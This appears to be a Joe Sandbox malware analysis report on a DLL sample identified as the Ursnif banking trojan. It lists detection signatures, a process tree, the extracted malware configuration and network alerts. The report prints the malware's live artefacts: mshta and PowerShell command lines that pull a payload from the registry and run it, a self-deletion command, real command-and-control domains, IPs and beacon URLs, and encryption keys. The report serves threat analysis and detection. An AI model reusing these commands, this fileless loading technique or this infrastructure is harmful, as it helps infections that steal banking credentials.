Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
rXN8OIpbzz

Overview

General Information

Sample Name:rXN8OIpbzz (renamed file extension from none to dll)
Analysis ID:620156
MD5:6e21e2268df053e95557a2157ff33103
SHA1:efeefb5833b881475bd421da29719d578babb90c
SHA256:22a462b2da9c893b5f37dbbc19697d6aeaa28758c2338fca3a806e8d9d3ac483
Tags:dllgozi_ifsbursnif3000
Infos:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Snort IDS alert for network traffic
Writes to foreign memory regions
Machine Learning detection for sample
Uses ping.exe to check the status of other devices and networks
Self deletion via cmd delete
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Creates a thread in another existing process (thread injection)
Writes registry values via WMI
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Compiles C# or VB.Net code
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64
  • loaddll32.exe (PID: 6176 cmdline: loaddll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 6200 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 6240 cmdline: rundll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • control.exe (PID: 3912 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
          • rundll32.exe (PID: 3516 cmdline: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h MD5: 73C519F050C20580F8A62C849D49215A)
  • mshta.exe (PID: 5240 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Exhe='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Exhe).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
    • powershell.exe (PID: 3172 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name iwcfhbmkpt -value gp; new-alias -name yuxesb -value iex; yuxesb ([System.Text.Encoding]::ASCII.GetString((iwcfhbmkpt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 3148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • csc.exe (PID: 6404 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nthaltvx.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 5052 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3047.tmp" "c:\Users\user\AppData\Local\Temp\CSCFB39A903173B4FAEAF71F3E48EC5D0FF.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • csc.exe (PID: 4472 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zn133k50.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 7140 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4508.tmp" "c:\Users\user\AppData\Local\Temp\CSC41D8DEC26D8340F3B72514D252AF5890.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • explorer.exe (PID: 3968 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
        • cmd.exe (PID: 6964 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\rXN8OIpbzz.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 2084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
          • PING.EXE (PID: 6176 cmdline: ping localhost -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)
  • cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "WDHdIpDR32hiBF82vKyfbd4Aeqb2endsG7KPr9+PRwpFwh6xHOPeXmivTfHV1J5O9BbOekXP+fpLTlNw78j8NdT4sNAaVFSXIxeuXWdoUw6r5lOTidqS1cBNYe3P3AFASRESMg14/OvBfHcw2QScm4OJeiHSYe26nzRyCo9Bsx0twNSvxA9Ev6ecU3aTGDNOX6EO6pfJFTv3oxkLljtitiqLzJjGUeio8ebUBdVSKBHjVo6ZyneL/fS9OUJFMNJ7HNXH2S3/amCXZuSmGf5nGAp2ln8QhGUUaVVkgcswKSlhcM0caruAqxzK8wdEz4NJO3xL/S8BTA8Kjk8SIMljp4q8BLwzx+qosOvcvZK8zl8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "gamexperts.net", "185.189.151.181", "185.189.151.186"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000003.00000003.394753510.000000000514A000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
    00000003.00000003.349012704.0000000005248000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
      00000003.00000003.394820050.00000000051C9000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
        00000003.00000003.448354217.00000000060D8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
          00000003.00000002.501779377.0000000004ECF000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
            Click to see the 15 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            3.2.rundll32.exe.4c70000.0.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
              3.3.rundll32.exe.4b994a0.7.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                3.3.rundll32.exe.4b994a0.7.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                  3.3.rundll32.exe.51c94a0.1.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                    3.3.rundll32.exe.51f6b40.2.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                      Click to see the 4 entries

                      Sigma Signatures

                      ⊘No Sigma rule has matched

                      Snort Signatures

                      Timestamp:05/04/22-12:42:53.250349 05/04/22-12:42:53.250349
                      SID:2033203
                      Source Port:49820
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:05/04/22-12:42:52.800201 05/04/22-12:42:52.800201
                      SID:2033203
                      Source Port:49820
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:05/04/22-12:42:53.707282 05/04/22-12:42:53.707282
                      SID:2033203
                      Source Port:49820
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:05/04/22-12:42:32.722808 05/04/22-12:42:32.722808
                      SID:2033203
                      Source Port:49770
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected

                      Joe Sandbox Signatures

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection

                      barindex
                      Found malware configuration
                      Source: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmpMalware Configuration Extractor: Ursnif {"RSA Public Key": "WDHdIpDR32hiBF82vKyfbd4Aeqb2endsG7KPr9+PRwpFwh6xHOPeXmivTfHV1J5O9BbOekXP+fpLTlNw78j8NdT4sNAaVFSXIxeuXWdoUw6r5lOTidqS1cBNYe3P3AFASRESMg14/OvBfHcw2QScm4OJeiHSYe26nzRyCo9Bsx0twNSvxA9Ev6ecU3aTGDNOX6EO6pfJFTv3oxkLljtitiqLzJjGUeio8ebUBdVSKBHjVo6ZyneL/fS9OUJFMNJ7HNXH2S3/amCXZuSmGf5nGAp2ln8QhGUUaVVkgcswKSlhcM0caruAqxzK8wdEz4NJO3xL/S8BTA8Kjk8SIMljp4q8BLwzx+qosOvcvZK8zl8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "gamexperts.net", "185.189.151.181", "185.189.151.186"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}
                      Multi AV Scanner detection for submitted file
                      Source: rXN8OIpbzz.dllReversingLabs: Detection: 40%
                      Machine Learning detection for sample
                      Source: rXN8OIpbzz.dllJoe Sandbox ML: detected
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04C75FBB CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,3_2_04C75FBB
                      Source: rXN8OIpbzz.dllStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
                      Source: Binary string: tr0.Pdb source: csc.exe, 00000013.00000003.432123181.0000020BAB5E2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000002.432715372.0000020BAB5E4000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000003.431620364.0000020BAB5DF000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000003.431571304.0000020BAB5D5000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000003.431604960.0000020BAB5D9000.00000004.00000020.00020000.00000000.sdmp
                      Source: Binary string: ntdll.pdb source: rundll32.exe, 00000003.00000003.453885156.00000000060F0000.00000004.00001000.00020000.00000000.sdmp
                      Source: Binary string: d:\in\the\town\where\ahung.pdb source: rXN8OIpbzz.dll
                      Source: Binary string: ntdll.pdbUGP source: rundll32.exe, 00000003.00000003.453885156.00000000060F0000.00000004.00001000.00020000.00000000.sdmp
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CB65C2 FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary,3_2_04CB65C2
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CB99BC lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError,3_2_04CB99BC
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CCBAD1 lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,3_2_04CCBAD1
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CBFD47 wcscpy,wcscpy,GetLogicalDriveStringsW,GetLogicalDriveStringsW,RtlAllocateHeap,memset,GetLogicalDriveStringsW,WaitForSingleObject,GetDriveTypeW,lstrlenW,wcscpy,lstrlenW,HeapFree,3_2_04CBFD47

                      Networking

                      barindex
                      System process connects to network (likely due to code injection or exploit)
                      Source: C:\Windows\SysWOW64\rundll32.exeNetwork Connect: 185.189.151.28 80Jump to behavior
                      Snort IDS alert for network traffic
                      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49770 -> 13.107.43.16:80
                      Source: TrafficSnort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49820 -> 185.189.151.28:80
                      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49820 -> 185.189.151.28:80
                      Uses ping.exe to check the status of other devices and networks
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping localhost -n 5
                      Source: Joe Sandbox ViewASN Name: AS-SOFTPLUSCH AS-SOFTPLUSCH
                      Source: global trafficHTTP traffic detected: GET /drew/cVbBCVAVC_2BrfCTTliq4D/TR89j_2FDMhBC/Rx3lDg61/HvgZB2J7R7VD_2FxHgth09P/H_2Fp_2B0K/lT2QuoqZm8BQycZwQ/H4nFd1cHmG_2/B8ivI_2F0O9/bJq8uYFSa5v9Ij/oSxEbcCz5_2FkNItSz7M7/RsUqbQcn0xtbFLfk/s_2BoKVrnDqJChc/UQqpJa6I6sYnVdkvyr/aVGGIz6zI/ZEQtOcGy53_2B5iYxze_/2BYqRtgImRp7tBA6q9P/SewC3o45SwnJ_2BNfdtGRr/1q9JxgDBH/3.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache
                      Source: global trafficHTTP traffic detected: GET /drew/21j59p5h/aMY7pIvB814fHQzA54TmstP/6F84QjrY8T/SpaWCfEUD_2FnWXvC/rEqVxZeDiGmB/EVC7r5ALKWg/9SLUGnIzpxcWYM/xuMBfgGVcmtRuQEdnu_2F/z6aCj8Veiw_2FLpI/klXzvSCm2R4EgNj/tX1BLPzJEB4fd6nZGQ/ASaXUuL8G/Cb1hq1kHRkSzUSxa9avd/CLUWUoeV5nKWyDrb3Sa/Aw0B4o70zU_2B7Hjx9TwWi/5WU7_2FRUtVgO/Qd4d0Z1_2Bvo/b7ociWkm.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache
                      Source: global trafficHTTP traffic detected: GET /drew/SE7WZ12eEzLDbcY/ReHD9U37IHMRdNMyX0/f61fYgNDH/xkc3DHorIjF18_2BtcDI/NMTbVOfmJtH6P_2FDxg/fYP24ZJpA_2BXAD0LiynfR/sY7KfedmKK4eh/fSjWb6Xu/fAf6iEN7Rblzydam2OSbiSx/Vw6Cb_2Bbg/Vc9aYir_2By_2BYAt/7uRRpr7mVOmx/v_2F66pvHXt/nmtBefhmAX5DJk/ied6XVEApSsG8HlMS4KeZ/kP7pKEMCKNfzyZum/QUL8CnndyLC0Xcl/NmgSkYn.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.189.151.28
                      Source: rundll32.exe, 00000003.00000003.393829384.0000000002E21000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.189.151.28/
                      Source: rundll32.exe, 00000003.00000002.501364119.0000000002E13000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.189.151.28/drew/21j59p5h/aMY7pIvB814fHQzA54TmstP/6F84QjrY8T/SpaWCfEUD_2FnWXvC/rEqVxZeDiGm
                      Source: rundll32.exe, 00000003.00000002.501297168.0000000002DBA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.189.151.28/drew/SE7WZ12eEzLDbcY/ReHD9U37IHMRdNMyX0/f61fYgNDH/xkc3DHorIjF18_2BtcDI/NMTbVOf
                      Source: rundll32.exe, 00000003.00000003.403377940.0000000002E03000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.393803385.0000000002E13000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.501297168.0000000002DBA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.403395449.0000000002E13000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.501364119.0000000002E13000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.393793161.0000000002E03000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.189.151.28/drew/cVbBCVAVC_2BrfCTTliq4D/TR89j_2FDMhBC/Rx3lDg61/HvgZB2J7R7VD_2FxHgth09P/H_2
                      Source: rundll32.exe, 00000003.00000003.393793161.0000000002E03000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://config.edge.skype.com/drew/sfsR2EvFJVPpjzK/_2F3BoHT0GZYMOPHQ3/2aosaOv_2/FvhUxykM9XmRrxizW8RT/
                      Source: rundll32.exe, 00000003.00000003.448354217.00000000060D8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000003.453774507.0000027B6DC1C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://constitution.org/usdeclar.txt
                      Source: rundll32.exe, 00000003.00000003.448354217.00000000060D8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000003.453774507.0000027B6DC1C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://constitution.org/usdeclar.txtC:
                      Source: rundll32.exe, 00000003.00000003.448354217.00000000060D8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000003.453774507.0000027B6DC1C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://https://file://USER.ID%lu.exe/upd
                      Source: explorer.exe, 00000019.00000000.606043556.000000000D9F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.491143563.000000000D9F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.471987520.000000000D9F0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://schemas.mi
                      Source: explorer.exe, 00000019.00000000.606043556.000000000D9F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.491143563.000000000D9F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.471987520.000000000D9F0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://schemas.micr
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04C71CA5 ResetEvent,ResetEvent,InternetReadFile,GetLastError,ResetEvent,InternetReadFile,GetLastError,3_2_04C71CA5
                      Source: global trafficHTTP traffic detected: GET /drew/cVbBCVAVC_2BrfCTTliq4D/TR89j_2FDMhBC/Rx3lDg61/HvgZB2J7R7VD_2FxHgth09P/H_2Fp_2B0K/lT2QuoqZm8BQycZwQ/H4nFd1cHmG_2/B8ivI_2F0O9/bJq8uYFSa5v9Ij/oSxEbcCz5_2FkNItSz7M7/RsUqbQcn0xtbFLfk/s_2BoKVrnDqJChc/UQqpJa6I6sYnVdkvyr/aVGGIz6zI/ZEQtOcGy53_2B5iYxze_/2BYqRtgImRp7tBA6q9P/SewC3o45SwnJ_2BNfdtGRr/1q9JxgDBH/3.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache
                      Source: global trafficHTTP traffic detected: GET /drew/21j59p5h/aMY7pIvB814fHQzA54TmstP/6F84QjrY8T/SpaWCfEUD_2FnWXvC/rEqVxZeDiGmB/EVC7r5ALKWg/9SLUGnIzpxcWYM/xuMBfgGVcmtRuQEdnu_2F/z6aCj8Veiw_2FLpI/klXzvSCm2R4EgNj/tX1BLPzJEB4fd6nZGQ/ASaXUuL8G/Cb1hq1kHRkSzUSxa9avd/CLUWUoeV5nKWyDrb3Sa/Aw0B4o70zU_2B7Hjx9TwWi/5WU7_2FRUtVgO/Qd4d0Z1_2Bvo/b7ociWkm.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache
                      Source: global trafficHTTP traffic detected: GET /drew/SE7WZ12eEzLDbcY/ReHD9U37IHMRdNMyX0/f61fYgNDH/xkc3DHorIjF18_2BtcDI/NMTbVOfmJtH6P_2FDxg/fYP24ZJpA_2BXAD0LiynfR/sY7KfedmKK4eh/fSjWb6Xu/fAf6iEN7Rblzydam2OSbiSx/Vw6Cb_2Bbg/Vc9aYir_2By_2BYAt/7uRRpr7mVOmx/v_2F66pvHXt/nmtBefhmAX5DJk/ied6XVEApSsG8HlMS4KeZ/kP7pKEMCKNfzyZum/QUL8CnndyLC0Xcl/NmgSkYn.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache

                      Key, Mouse, Clipboard, Microphone and Screen Capturing

                      barindex
                      Yara detected Ursnif
                      Source: Yara matchFile source: 00000003.00000003.349012704.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.448354217.00000000060D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348921870.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348876810.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.349079600.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.393934520.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.395608793.000000000504C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000E.00000003.453774507.0000027B6DC1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.349095553.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348687637.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348979060.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.394913603.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348760397.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 6240, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3172, type: MEMORYSTR
                      Source: Yara matchFile source: 3.2.rundll32.exe.4c70000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.4b994a0.7.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.4b994a0.7.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.51c94a0.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.51f6b40.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.514a4a0.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.51c94a0.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.51f6b40.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.514a4a0.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000003.00000003.394753510.000000000514A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.394820050.00000000051C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000002.501779377.0000000004ECF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
